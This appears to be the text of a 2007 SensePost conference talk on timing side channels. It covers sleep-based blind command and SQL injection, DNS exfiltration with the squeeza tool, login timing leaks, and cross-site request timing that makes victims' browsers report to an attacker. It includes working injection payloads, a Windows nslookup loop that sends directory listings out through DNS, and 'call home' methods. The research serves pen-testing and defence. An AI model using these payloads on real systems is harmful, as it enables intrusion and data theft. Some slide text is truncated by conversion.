It's all about the Timing!

SensePost Research (2007)
Agenda

• Who we are
• What this talk is about
• Why?
• Background
• Timing as a Channel
• Timing as a Vector
• Privacy Implications - XSRT?
• Another acronym - (D)XSRT!
• Conclusion / Questions
Who we are..

- SensePost
  - Formed in 2000
  - Written a few papers..
  - Spoken at a few conferences
  - Written a few books
  - Done some Training

- marco
- haroon

http://www.sensepost.com/blog
What is this talk about?

- Timing Stuff..
- Who should care?
  - If you are a developer..
    - Awareness of your applications leakage
  - If you are a Pen-Tester..
    - You could be missing attack vectors completely (or stopping short of full ownage when its relatively trivial!)
  - If you like new acronyms!
    - X.S.R.T
    - (D)X.S.R.T
Stepping Back a Little

An illustrious history of side channel attacks on computing systems

- differential power analysis
  - hardware
- EM radiation emission analysis
  - hardware
- timing analysis
  - software/hardware
Traditional Timing

• Timing has received lots of attention over the years in the area of crypt-analysis
  - Kocher [1996]
    • 1st local results against RSA and DH
  - Brumley & Boneh [2003]
    • Derived partial RSA over network due to weaknesses in OpenSSL
  - Bernstein [2004]
    • Derived full AES key across custom network clients
  - Percival [2005]
    • L1 cache access times could be used on HT processors to derive RSA key bits
Web Time

• Felten & Schneider [2000]
  - early results on timing and the web
  - focused on privacy
    • browser cache snooping
    • dns cache snooping

• Kinderman [2003]
  - Java applet in JavaScript
- SPI Dynamics [2006]
  • Both released a JavaScript port scanner using JS’s onerror feature. Implicitly uses timing attacks (connection timed out, hence it is closed)
- Bortz, Boneh & Nandy [2007]
  • Direct timing (valid usernames, hidden gallery sizes)
  • Cross Site Timing
    - `<img onerror=xxxxxx>`
A Communication Channel

- A solid channel is a real basic requirement.
- A quick progression of remote command execution attacks (relevant to channels)
The App. Is the Channel

- Sometimes the application by its nature gives data back to the attacker..
- Command injection
- Friendly SQL queries
The App. Is the Channel

• Sometimes the firewalling is so poor that the whole things is almost moot!

• But we cant count on being that lucky...
The App. Is the Channel

• So what happens when it gets a little tighter?

$search_term = $user_input;
if($recordset =~ /$search_term/ig)
    do_stuff();
The App. Is the Channel

```
$search_term = $user_input;
if($recordset =~ /$search_term/ig)
   do_stuff();

(`uname``);
(`sleep 20``);
(`perl -e 'system("sleep","10");'``);
(`perl -e 'sleep(ord(substr(qx/uname/,,0,1)))'``)
```
Proof of my lame’ness

wh00t:~/customers/bh haroon$ python timing.py "uname"

[∗] POST built and encoded
[∗] Got Response: HTTP/1.1 200
[∗] [83.0] seconds
[∗] ['S']
[∗] POST built and encoded
[∗] Got Response: HTTP/1.1 200
[∗] [83.0, 117.0] seconds
[∗] ['S', 'u']
[∗] POST built and encoded
[∗] Got Response: HTTP/1.1 200
[∗] [83.0, 117.0, 110.0] seconds
[∗] ['S', 'u', 'n']
[∗] POST built and encoded
[∗] Got Response: HTTP/1.1 200
[∗] [83.0, 117.0, 110.0, 79.0] seconds
[∗] ['S', 'u', 'n', 'O']
[∗] POST built and encoded
[∗] Got Response: HTTP/1.1 200
[∗] [83.0, 117.0, 110.0, 79.0, 83.0] seconds
[∗] ['S', 'u', 'n', 'O', 'S']
[∗] POST built and encoded
[∗] Got Response: HTTP/1.1 200
[∗] [83.0, 117.0, 110.0, 79.0, 83.0] seconds
[∗] ['S', 'u', 'n', 'O', 'S']
Proof (II)

- Clearly this had issues..
- \texttt{ord('A')} \Rightarrow 65
- \texttt{unpack(B32, 'A')} \Rightarrow 01000001
  - Sleep 0
  - Sleep 1
  - Sleep 0
  - ...

![Image of terminal output]
• SQL & WWW Server are the same box.. (same as birdseye)
• echo foo > c:\inetpub\wwwroot\..
• But outbound access like this almost never happens anymore..
Confirming execution?

- Call home: (ping, smb, nc..etc)
- Rudimentary timing: ('ping -n 20 localhost')
- Nslookup: 'nslookup moo_moo.sensepost.com'
- We thought DNS was worth chasing..
Poor mans dns tunnel

- for /F "usebackq tokens=1,2,3,4* %i in ('dir c:\b') do nslookup %i.sensepost.com
- Works fine for small pieces of data..
- Sucks for anything binary..
- Sucks for anything over 255 chars
Poor man's DNS tunnel

• Aka – introducing squeeza
• Inspired (in part) by Sec-1 Automagic SQL Injector..
• Provides
  – Simple shell to pull server-side data into tables (SQL query / xp_cmdshell / etc)
  – Return channel to get inserted data from the server to us
  – Binary-safe transport
  – Reliable transport
• Requirements
  – ruby
  – tcpdump
  – possibly access to a DNS server
  – large SQL injection point
Basic Operation:

1. Initial HTTP request pulls data into a predefined table $SQCMD$.

2. For each row $r_i$ in $SQCMD$, send a HTTP request to:
   a) chop $r_i$ into fixed-size blocks
      $b_1, b_2, \ldots b_n = r_i$
   b) For each block $b_j$, convert to hex
      $h_j = \text{hex}(b_j)$
   c) Prepend header to and append domain to $h_j$.
   d) Initiate DNS lookup for $h_j$.
   e) Capture the DNS request with Squeeza, decode hex and store the block.

3. If blocks are missing, re-request them.
- Keep in mind that pulling data into the table is not related to extracting it. i.e. the source can vary.
- The default ... proc isn’t available or allowed.
- Can we cause DNS request to be initiated otherwise?
- Of course!

```
xp_getfiledetai
```

- ```xp_getfiledetai
```
Squeeza demo
Hey!!

- I thought this talk was about timing?
- SQL Server’s “waitfor delay”
- Used by a few injection tools as a boolean operator (sql injector powershell, sqlninja, etc)
- If user=sa {waitfor 10}, else{waitfor delay 20}
- So... (considering lessons learned from squeeza_I and oneTime.py, we can:
  - Execute command / extract data into new table
  - Encode table as binary strings `hostname` = winbox = 01110111 01101001 01101110 01100010 01101111 01111000
  - Sleep 0, sleep 2, sleep 2, sleep 0, ..
More proof of my lame’ness

• Aka – more squeeza coolness..
• anotherTime.py:

• Squeeza’s timing channel:
But how reliable is timing?

- Well, that all depends on how reliable your line is.
- But we can try to accommodate shaky lines and loaded servers with a sprinkling of stats.
- Basic calibration idea is to collect a sample set of 0-bit and 1-bit requests, discard outliers, apply elementary statistics and derive two landing pads.
- If the landing pads are far enough apart, we’ll use them, otherwise increase the time delay for 1-bits and re-calibrate.
Timing Calibration

Request Timings

Frequency

Time in ms

0-bit
Discarded
1-bit
Discarded

0 time
More squeeza cool’ness

- Additional channels
- File Transfer.
- Modularityness :)

http://www.sensepost.com/research/squeeza
Timing as its own Vector

- Information Leakage is big when Application Testing
- (not just because it allows security guys to say “Use generic error messages!”)

- This is useful to us as attackers / analysts..
But..

- We have been beating this drum for a bit,
- So you see it less frequently in the wild,
- But..
  - Subtle timing differences are sometimes present,
  - We just haven't been listening..
  - Hardware security Tokens (longer round trip times)
Timing failed logins

- Perfect example of what we discussed..
- Can you spot it?
- We thought it was pretty cool at the time. (yetAnotherTime.py)
Why is this scary?

• We took a quick look at most popular application scanners out there..

• None made any reference at all to caring about timing at all..

• We built it into Suru (but to be honest, only since we discovered timing love!)

• Do it manually, buy Suru, or step on your app-scan vendors!
Timing and Privacy

• Same Origin Policy:

The point was simple: Don’t let site-A get results from site-B unless they are related.

• So how did Jeremiah (and friends) do all that port-scanning coolness?
  - They used JavaScript onLoad() and onError() events to determine if they can access a host:port
  - Variation with CSS and link visited followed.

```
<table>
<thead>
<tr>
<th>URL</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.example.com/dir2/other.html">http://www.example.com/dir2/other.html</a></td>
<td>Success</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.example.com/dir1/inner/other.html">http://www.example.com/dir1/inner/other.html</a></td>
<td>Success</td>
<td></td>
</tr>
<tr>
<td><a href="https://www.example.com/dir2/other.html">https://www.example.com/dir2/other.html</a></td>
<td>Failure</td>
<td>Different protocol</td>
</tr>
<tr>
<td><a href="http://on.example.com/dir2/other.html">http://on.example.com/dir2/other.html</a></td>
<td>Failure</td>
<td>Different host</td>
</tr>
<tr>
<td><a href="http://example.com/dir2/other.html">http://example.com/dir2/other.html</a></td>
<td>Failure</td>
<td>Different host</td>
</tr>
<tr>
<td><a href="http://www.example.com:31/dir2/other.html">http://www.example.com:31/dir2/other.html</a></td>
<td>Failure</td>
<td>Different port</td>
</tr>
</tbody>
</table>
```
Timing and Privacy

- Portscanning was soon followed by History checking: using CSS to determine if links were visited.
- Ed Felten in 2000 examined the dangers of Java and Timing to users' Privacy by timing load times.

Felten's 2000 Timing Attack on Privacy.
We thought

• We thought we invented a new acronym.
• XSRT - Cross Site Request Timing.
  – We were wrong: (Andrew Bortz - 2007)
  – Exactly the same attack: (Are you currently logged into linkedin / myspace / facebook / bank.com / internetbanking?)

• Example:
  – Fetch
    (http://www.facebook.com/friends.php?r)
X.S.R.T

• Cross Site Request Timing..
• Simply:
• Victim visits attackers website (or site with attackers JS)
• JavaScript causes Victims browser to surf to http://www.facebook.com/friends.php?
• JavaScript determines load time, to decide if user is (or isn't logged in) (> 50ms - user logged in)
• Problem: This doesn’t work the same for U.S victims and .ZA victims! (.za adds 100ms just by default!)
• We introduce the concept of a base-page
  1. Fetch page available to both Logged-in and Logged-out users (base-page) (X Seconds)
  2. Fetch the page available only to logged-in users (Y Seconds)
  3. Calculate X/Y
• This gives us a latency resistant method of determining logged-in/logged-out status
• (What about cached pages?)
• Wow! We can tell a user if he is or isn't logged into mailbox?
• (Can we determine this remotely?)
So..

- Let's summarize this quickly..
  - We know some sites will betray valid usernames through timing differences.
  - We know that (most) sites will betray a valid login from an invalid one based on timing..
  - We know we can use your browser to time stuff while you are surfing..
QuickTime™ and a xvid decompressor are needed to see this picture.
(D) X.S.R.T

- (Re)Introducing:
- Distributed Cross Site Request Timing
- Lets take it in stages:
  - Recall the timing script we ran against the Internet Banking site (timing.py)
  - We can implement that in JavaScript (so instead of running it from through python on my box, I can run it in JavaScript on your box!)
  - A small time granularity problem!
A More Granular Timer?

// pdp architects code to obtain local browser IP Address
function getNetInfo() {
    var sock = new java.net.Socket();
    sock.bind(new java.net.InetAddress('0.0.0.', 0));
    sock.connect(new java.net.InetAddress(domain, (!domain.location.port)?80:domain.location.port));
    return {domain: sock.getLocalAddress().getHostEntry(), ip: sock.getLocalAddress().getHostAddress()};
}

So: nanoTime() from java.lang.System

Using JavaScripts Date() 416

Using java.lang.System.nanoTime() : 407486976
Distributed Cross Site Request Timing

- Recall the timing script we ran against the Internet Banking site (timing.py)
- We can implement that in JavaScript (so instead of running it from through python on my box, I can run it in JavaScript on your box!)
- A small time granularity problem!

No problem! timing.py => timing.js :) Runs in your browser, Reports success to Attackers Machine
(D) X.S.R.T

STEP 1 - BROWSE ATTACKER SITE
- User Browses Attacker's Site
- Attacker Sets Cookie – US-0-9999

STEP 2 - XSRT REQUEST
- 2ms
- 2ms
- 2ms
- 5ms

STEP 3 - RESPOND TO ATTACKER
- 6001 - 5ms – Success!

Client

Client A

Bank.com

Attacker

Client B

Client C

Client D
Conclusion.

- **Developers:**
  - Make sure you are not throwing away valuable intel through timing delta’s
  - Investigate the standard XSRF detection techniques

- **Network Security Admins:**
  - Re-examine least privilege, Does your SQL Server need DNS?
  - Does your IDS detect spurious DNS requests? (to your own DNS Server?)
  - Would you spot the Timing Attacks in your logs?

- **Pen-Testers / Researchers:**
  - XSS + Header Injection.
  - Grab a copy of squeeza from http://www.sensepost.com/research/squeeza
  - Add modules / Drop us feedback

- **All:**
  - Feedback
  - http://www.sensepost.com/blog
Questions ???